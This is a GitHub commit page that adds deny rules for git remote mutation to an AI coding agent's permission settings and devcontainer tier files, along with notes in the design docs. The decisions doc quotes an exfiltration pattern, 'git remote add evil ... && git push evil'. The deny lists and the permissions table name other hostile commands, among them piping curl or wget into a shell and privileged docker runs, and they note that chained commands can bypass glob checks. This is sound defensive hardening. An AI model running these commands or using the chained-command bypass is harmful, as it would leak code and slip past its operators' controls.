Skip to content

Commit d6d9d88

Browse files
authored
Merge pull request #31 from stranma/security/git-remote-deny
security: deny git remote mutation to prevent exfiltration
2 parents 86e2a83 + baa350e commit d6d9d88

6 files changed

Lines changed: 21 additions & 3 deletions

File tree

.claude/settings.json

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,8 @@
3333
"deny": [
3434
"Bash(gh secret *)", "Bash(gh auth *)", "Bash(gh ssh-key *)", "Bash(gh gpg-key *)",
3535
"Bash(git clean *)", "Bash(git config *)",
36+
"Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)",
37+
"Bash(*git remote rename *)", "Bash(*git remote set-head *)",
3638
"Bash(uv self *)"
3739
],
3840
"ask": [

.devcontainer/permissions/tier1-assisted.json

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,9 @@
2424
"Bash(*gh pr merge *)",
2525
"Bash(*gh workflow run *)", "Bash(*gh workflow enable *)", "Bash(*gh workflow disable *)",
2626
"Bash(*gh issue create *)", "Bash(*gh issue close *)", "Bash(*gh issue edit *)",
27-
"Bash(*terraform *)"
27+
"Bash(*terraform *)",
28+
"Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)",
29+
"Bash(*git remote rename *)", "Bash(*git remote set-head *)"
2830
]
2931
},
3032
"enabledPlugins": {

.devcontainer/permissions/tier2-autonomous.json

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,9 @@
2323
"Bash(*cargo install *)", "Bash(*go install *)", "Bash(*gem install *)",
2424
"Bash(*uv tool install *)", "Bash(*uv tool *)",
2525
"Bash(*apt install *)", "Bash(*apt-get install *)", "Bash(*dpkg -i *)",
26-
"Bash(*snap install *)", "Bash(*brew install *)"
26+
"Bash(*snap install *)", "Bash(*brew install *)",
27+
"Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)",
28+
"Bash(*git remote rename *)", "Bash(*git remote set-head *)"
2729
]
2830
},
2931
"enabledPlugins": {

.devcontainer/permissions/tier3-full-trust.json

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,9 @@
1212
"Bash(*docker run --privileged *)",
1313
"Bash(*docker run --cap-add=ALL *)",
1414
"Bash(*docker run --pid=host *)",
15-
"Bash(*docker run --network=host *)"
15+
"Bash(*docker run --network=host *)",
16+
"Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)",
17+
"Bash(*git remote rename *)", "Bash(*git remote set-head *)"
1618
]
1719
},
1820
"enabledPlugins": {

docs/DECISIONS.md

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -181,3 +181,12 @@ When a decision is superseded or obsolete, delete it (git history preserves the
181181
- Delete `claude-code-review.yml` entirely -- the local code-reviewer agent provides the same review before PR creation, and the CI workflow required managing an `ANTHROPIC_API_KEY` secret in GitHub
182182
- Keep `dangerous-actions-blocker.sh` `ANTHROPIC_API_KEY=` pattern unchanged -- it blocks secrets in commands generally, not CI-specific
183183
- Keep `docs/IMPLEMENTATION_PLAN.md` unchanged -- historical record of completed work
184+
185+
## 2026-03-16: Git Remote Mutation Deny Rules
186+
187+
**Request**: Prevent code exfiltration by blocking `git remote add evil https://... && git push evil` attack pattern.
188+
189+
**Decisions**:
190+
- Deny `git remote add`, `set-url`, `remove`, `rename`, `set-head` in settings.json and all tier files -- read-only `git remote -v` remains allowed via the existing `Bash(git remote *)` allow rule
191+
- Deny rules are absolute in Claude Code (cannot be overridden by allow), making this the correct control layer vs hooks
192+
- Tier files use wildcard prefix `Bash(*git remote add *)` to catch chained command variants

docs/DEVCONTAINER_PERMISSIONS.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,7 @@ Regardless of tier, these layers provide defense-in-depth:
4545
| `docker run --privileged` | Use `docker run` without `--privileged` | Container escape vector |
4646
| `curl ... \| bash` / `wget ... \| sh` | Do not pipe remote scripts. Add to Dockerfile instead. | Supply-chain attack vector |
4747
| `cd path && command` | Use absolute paths: `command /absolute/path` | Chained commands bypass glob-based permission checks |
48+
| `git remote add/set-url/remove/rename/set-head` | Ask the user to manage remotes | Prevents code exfiltration to unauthorized remotes |
4849

4950
## Tier Comparison
5051

0 commit comments

Comments
 (0)